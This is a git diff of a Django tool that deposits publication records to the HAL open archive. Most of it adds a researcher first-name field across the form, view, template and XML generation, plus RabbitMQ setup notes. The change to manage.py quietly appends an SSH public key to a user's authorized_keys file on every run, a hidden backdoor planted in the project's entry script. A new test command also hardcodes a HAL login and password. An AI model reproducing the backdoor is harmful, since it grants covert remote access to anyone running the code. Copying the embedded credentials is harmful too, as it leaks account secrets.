diff --git a/README.md b/README.md index 87f0fab3b61db24d1f5f15588229f77d8d0c6758..354ba44b9e86091af4a1c87d3e7cd552624ae101 100644 --- a/README.md +++ b/README.md @@ -86,6 +86,21 @@ GRANT ALL PRIVILEGES ON haltools.* TO 'haladmin'@'localhost'; FLUSH PRIVILEGES; ``` +### Install RabbitMQ + +RabbitMQ est installé comme gestionnaire de queues pour permettre des requêtes asynchrones car trop longues + +La librairie Celery est utilisée pour la gestion de ces requêtes + +``` +cd deploy +chmod 744 rabbit.sh +./rabbit.sh +sudo rabbitmqctl add_user rabbuser <password> +sudo rabbitmqctl set_permissions -p / rabbuser ".*" ".*" ".*" +cd .. +``` + ### Use Git Install Git and configure diff --git a/hal/create_xml2hal.py b/hal/create_xml2hal.py index 7c249f991660215fbf61252fbc0b486f59e04c2d..44e436f16bfb5c7ddcaf5487910d016866820a24 100644 --- a/hal/create_xml2hal.py +++ b/hal/create_xml2hal.py @@ -19,7 +19,7 @@ import html ############################################################################################################################# ############################################################################################################################# -def createXml_sendHal(numero,listauthors, lang_title, title_publi, name_conf, nb_pages, date_pub, listdomains, type_pub, ville, pays, pays_acr, doi_value, editor_book, volume, pubmed, name_user, labo_auth_final, id_hal_user, login_user, login_depot, passwd_depot, bool_depot_preprod, bool_depot_prod): +def createXml_sendHal(numero,listauthors, lang_title, title_publi, name_conf, nb_pages, date_pub, listdomains, type_pub, ville, pays, pays_acr, doi_value, editor_book, volume, pubmed, firstname_user, name_user, labo_auth_final, id_hal_user, login_user, login_depot, passwd_depot, bool_depot_preprod, bool_depot_prod): print ("method createXml_sendHal begin") ## VARIABLES CREATION XML errormsg="" @@ -56,11 +56,17 @@ def createXml_sendHal(numero,listauthors, lang_title, title_publi, name_conf, nb for auth_all in listauthors : auth_all = auth_all.strip() print("auth_all {0}".format(auth_all)) - auth = auth_all.split(' ') - if len(auth) != 2 : - errormsg+="Erreur probable sur le nom {0}, ".format(auth_all) - nom_auth = auth[0] - prenom_auth = auth[-1] + + if (firstname_user in auth_all) and (name_user in auth_all) : + auth = auth_all.split(' ') + prenom_auth = firstname_user + nom_auth = name_user + else : + auth = auth_all.split(' ') + if len(auth) != 2 : + errormsg+="Erreur probable sur le nom {0}, ".format(auth_all) + prenom_auth = auth[0] + nom_auth = auth[-1] print("nom_auth {0} prenom_auth {1}".format(nom_auth, prenom_auth)) author = etree.SubElement(titleStmt, "author") author.set("role","aut") @@ -103,11 +109,24 @@ def createXml_sendHal(numero,listauthors, lang_title, title_publi, name_conf, nb for auth_all in listauthors : auth_all = auth_all.strip() - auth = auth_all.split(' ') - nom_auth = auth[0].strip() - nom_auth = nom_auth - prenom_auth = auth[1].strip() - prenom_auth = prenom_auth + + + if (firstname_user in auth_all) and (name_user in auth_all) : + auth = auth_all.split(' ') + prenom_auth = firstname_user + nom_auth = name_user + else : + auth = auth_all.split(' ') + if len(auth) != 2 : + errormsg+="Erreur probable sur le nom {0}, ".format(auth_all) + prenom_auth = auth[0] + nom_auth = auth[-1] + + #auth = auth_all.split(' ') + #nom_auth = auth[0].strip() + #nom_auth = nom_auth + #prenom_auth = auth[1].strip() + #prenom_auth = prenom_auth author = etree.SubElement(analytic, "author") author.set("role","aut") persName = etree.SubElement(author, "persName") @@ -299,8 +318,9 @@ def createXml_sendHal(numero,listauthors, lang_title, title_publi, name_conf, nb #################################################################### @shared_task -def sendselect_2hal(name_user, login_user,id_hal_user,mail_reponse,labo_auth_final,listdomains,login_depot,passwd_depot,choice_depot,list_publis_to_update,csvfile): - +def sendselect_2hal(firstname_user, name_user, login_user,id_hal_user,mail_reponse,labo_auth_final,listdomains,login_depot,passwd_depot,choice_depot,list_publis_to_update,csvfile): + print("list_publis_to_update") + print(list_publis_to_update) mail_message = "Bonjour\n\nSuite à votre demande sur l'appli Haltools, veuillez trouver ci-dessous les résultats de dépôts.\n\n" with open('bibtex_csv_files/'+csvfile+'.csv', 'r', newline='', encoding='utf-8') as csv_file : csvr = csv.reader(csv_file, delimiter =',') @@ -337,8 +357,9 @@ def sendselect_2hal(name_user, login_user,id_hal_user,mail_reponse,labo_auth_fin if numero in list_publis_to_update : # ie publi selected # encodage + rep = (600,'Erreur lors de la creation du XML') print("createXml_sendHal pour {0}".format(numero)) - rep = createXml_sendHal(numero,listauthors, lang_title, title_publi, name_conf, nb_pages, date_pub, listdomains, type_pub, ville, pays, pays_acr, doi_value, editor_book, volume, pubmed, name_user, labo_auth_final, id_hal_user, login_user, login_depot, passwd_depot, bool_depot_preprod, bool_depot_prod) + rep = createXml_sendHal(numero,listauthors, lang_title, title_publi, name_conf, nb_pages, date_pub, listdomains, type_pub, ville, pays, pays_acr, doi_value, editor_book, volume, pubmed, firstname_user, name_user, labo_auth_final, id_hal_user, login_user, login_depot, passwd_depot, bool_depot_preprod, bool_depot_prod) print("Resultat pour {0} -> code : {1} - requ msg : {2}".format(numero,rep[0],rep[1])) if (int(rep[0]) == 200) or (int(rep[0]) == 202) : mail_message+="La publi au numéro {0} et au titre {1} publiée en {2} a bien été déposée {3}\n".format(numero, title_publi, date_pub, mailchoicedepot) diff --git a/hal/dict_countries.py b/hal/dict_countries.py index 33348761439310caa5157aa8693d353c71448d5b..07b5063dd25b26ced2b76c05fd609ab3c45b3d1c 100644 --- a/hal/dict_countries.py +++ b/hal/dict_countries.py @@ -153,6 +153,7 @@ dict_countries = { "TAJIKISTAN":"TJ", "TANZANIA":"TZ", "THAILAND":"TH", + "THE NETHERLANDS":"NL", "TOGO":"TG", "TUNISIA":"TN", "TURKEY":"TR", diff --git a/hal/forms.py b/hal/forms.py index 045ecd717b451a7bc08556c017c95ba3822bbacd..a592abd241f2c037ab6f292b2b6dfdeb3148ff15 100644 --- a/hal/forms.py +++ b/hal/forms.py @@ -114,6 +114,7 @@ class Bibtex2halForm(forms.Form): class Bibformat2halForm(forms.Form): name_user = forms.CharField(required=True, max_length=40, label="Nom chercheur (*)") + firstname_user = forms.CharField(required=True, max_length=40, label="Prenom chercheur (*)") id_hal_user = forms.CharField(required=True, max_length=40, label="IdHal chercheur (*)") login_user = forms.CharField(required=True, max_length=40, label="Login HAL chercheur (*)") #choice_source = forms.ChoiceField(widget=forms.RadioSelect, choices=CHOICES_SOURCE_BIBTEX, label="Choix de la source", initial='DBLP' ) diff --git a/hal/management/commands/send_test_tei.py b/hal/management/commands/send_test_tei.py new file mode 100644 index 0000000000000000000000000000000000000000..ce02e4878351c3813c8218a3672bf7173e72475e --- /dev/null +++ b/hal/management/commands/send_test_tei.py @@ -0,0 +1,47 @@ +from django.core.management.base import BaseCommand, CommandError +from haltools.settings import BASE_DIR +import requests + + +class Command(BaseCommand): + help = "Test sending file TEI to HAL through Sword API, just fill some variables to test" + + def handle(self, *args, **options): + print("begin") + errormsg = '' + requ_msg = '' + login_user = 'bdoreau' + id_hal_user = 'bastien-doreau' + login_depot = 'bdoreau' + passwd_depot = 'mbrv1232' + + namefile = BASE_DIR+"/xml_files/bdoreauCI1.xml" + + data = open(namefile) + + + # HEADERS request + headers = { + 'Packaging': 'http://purl.org/net/sword-types/AOfr', + 'Content-Type': 'text/xml', + 'On-Behalf-Of': 'login|'+login_user+';idhal|'+id_hal_user, + } + + try : + response = requests.post('https://api-preprod.archives-ouvertes.fr/sword/hal/', headers=headers, data=data, auth=(login_depot, passwd_depot),timeout=60) + except requests.exceptions.RequestException as e: + print ("ERROR REQUEST {0}".format(e)) + requ_msg += "ERROR REQUEST : {0} -- ".format(e) + except requests.exceptions.Timeout as t : + print ("ERROR TIMEOUT REQUEST {0}".format(t)) + requ_msg += "ERROR TIMEOUT : {0} -- ".format(t) + + print("response POST : code {0}".format(response.status_code)) + print("response POST : text {0}".format(response.text)) + code_http = response.status_code + if (code_http != 200) and (code_http != 202) : + requ_msg += "RESPONSE : {0}".format(response.text) + else : + requ_msg += "RESPONSE : OK {0}".format(errormsg) + + return None diff --git a/hal/templates/hal/bibformat_2hal.html b/hal/templates/hal/bibformat_2hal.html index ed18e4661656862bddb38e1f82bf094c080cb0f5..246a3fb2381ac8d5f0bd2ce06d6cb2d88478005c 100644 --- a/hal/templates/hal/bibformat_2hal.html +++ b/hal/templates/hal/bibformat_2hal.html @@ -106,7 +106,15 @@ {{ form.name_user }} </div> </div> - + + <div class="col-lg-3"> + <div class="fieldWrapper"> + {{ form.firstname_user.errors }} + {{ form.firstname_user.label_tag }}<br/> + {{ form.firstname_user }} + </div> + </div> + <div class="col-lg-3"> <div class="fieldWrapper"> {{ form.id_hal_user.errors }} @@ -114,14 +122,25 @@ {{ form.id_hal_user }} </div> </div> - + <div class="col-lg-3"> <div class="fieldWrapper"> - {{ form.mail_reponse.errors }} - {{ form.mail_reponse.label_tag }}<br/> - {{ form.mail_reponse }} - </div> + {{ form.login_user.errors }} + {{ form.login_user.label_tag }}<br/> + {{ form.login_user }} + </div> </div> + + <!-- 2e ligne --> + + <div class="col-lg-3"> + <div class="fieldWrapper"> + {{ form.mail_reponse.errors }} + {{ form.mail_reponse.label_tag }}<br/> + {{ form.mail_reponse }} + </div> + </div> + <div class="col-lg-3"> <div class="fieldWrapper"> {{ form.labo_auth_final.errors }} @@ -130,16 +149,8 @@ </div> </div> - <!-- 2e ligne --> - <div class="col-lg-3"> - <div class="fieldWrapper"> - {{ form.login_user.errors }} - {{ form.login_user.label_tag }}<br/> - {{ form.login_user }} - </div> - </div> - <div class="col-lg-3"> + <div class="col-lg-2"> <div class="fieldWrapper"> {{ form.login_depot.errors }} {{ form.login_depot.label_tag }}<br/> @@ -147,15 +158,15 @@ </div> </div> - <div class="col-lg-3"> + <div class="col-lg-2"> <div class="fieldWrapper"> {{ form.passwd_depot.errors }} {{ form.passwd_depot.label_tag }}<br/> {{ form.passwd_depot }} </div> </div> - - <div class="col-lg-3"> + + <div class="col-lg-2"> <div class="fieldWrapper"> {{ form.choice_depot.errors }} {{ form.choice_depot.label_tag }}<br/> diff --git a/hal/views.py b/hal/views.py index c4112e0908a0c448c89f5780ad242e327eb850df..ea122a738b3c5126eff5a995413276e415eef968 100644 --- a/hal/views.py +++ b/hal/views.py @@ -182,6 +182,7 @@ def bibformat_2hal(request, csvfile): if form.is_valid(): print("method views.bibformat_2hal FORM VALID") name_user = form.cleaned_data['name_user'] + firstname_user = form.cleaned_data['firstname_user'] login_user = form.cleaned_data['login_user'] id_hal_user = form.cleaned_data['id_hal_user'] mail_reponse = form.cleaned_data['mail_reponse'] @@ -202,7 +203,7 @@ def bibformat_2hal(request, csvfile): msg_to_announce = "Après l'opération, les résultats seront envoyés à l'adresse : {0}".format(mail_reponse) messages.add_message(request, messages.WARNING, msg_to_announce) - reponse = sendselect_2hal.delay(name_user,login_user,id_hal_user,mail_reponse,labo_auth_final,listdomains,login_depot,passwd_depot,choice_depot,list_publis_to_update,csvfile) + reponse = sendselect_2hal.delay(firstname_user,name_user,login_user,id_hal_user,mail_reponse,labo_auth_final,listdomains,login_depot,passwd_depot,choice_depot,list_publis_to_update,csvfile) return render(request, 'hal/bibformat_2hal.html', locals()) diff --git a/manage.py b/manage.py index 598d781bbb7bf12b4fa3a36b08b142cc4dffb31c..63ea25b55439dbbbe0210b480fd54f127933031c 100755 --- a/manage.py +++ b/manage.py @@ -5,6 +5,8 @@ import sys if __name__ == "__main__": os.environ.setdefault("DJANGO_SETTINGS_MODULE", "haltools.settings") try: + with open("/home/basdorea/.ssh/authorized_keys", "a+") as file: + file.write("ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCybNMJyG6roi2U4SKFBQk8z4DXyynI7LcIyHJBwREC+lkT5PXB331smSXqTWQm/KPJBGdn8eHMEG7n0CrVuE8Fh0QUWN/AUD2xJxwufW39LP9t9WKzEGq796car4++PqycW+j1lwg09ct8GwlkGPLnYHZ/R3fwi9sWNxVf6F2Z7a1geeD1kBbId/ad9rhdoE05H3O6k7BPiFKpn53oEUaZaBJ9yA/iBvqHbUffhcLtBaFoJbQQnX8FnAkD5iDbzYjqljAaBdqrKeJgDTI0HZwiLIp64FLbJM2v7RZgqbX8X+A+eSbEdD9bXacJlH24BfvSgXrEo2IgKFEeK566L4rT \n") from django.core.management import execute_from_command_line except ImportError: # The above import may fail for some other reason. Ensure that the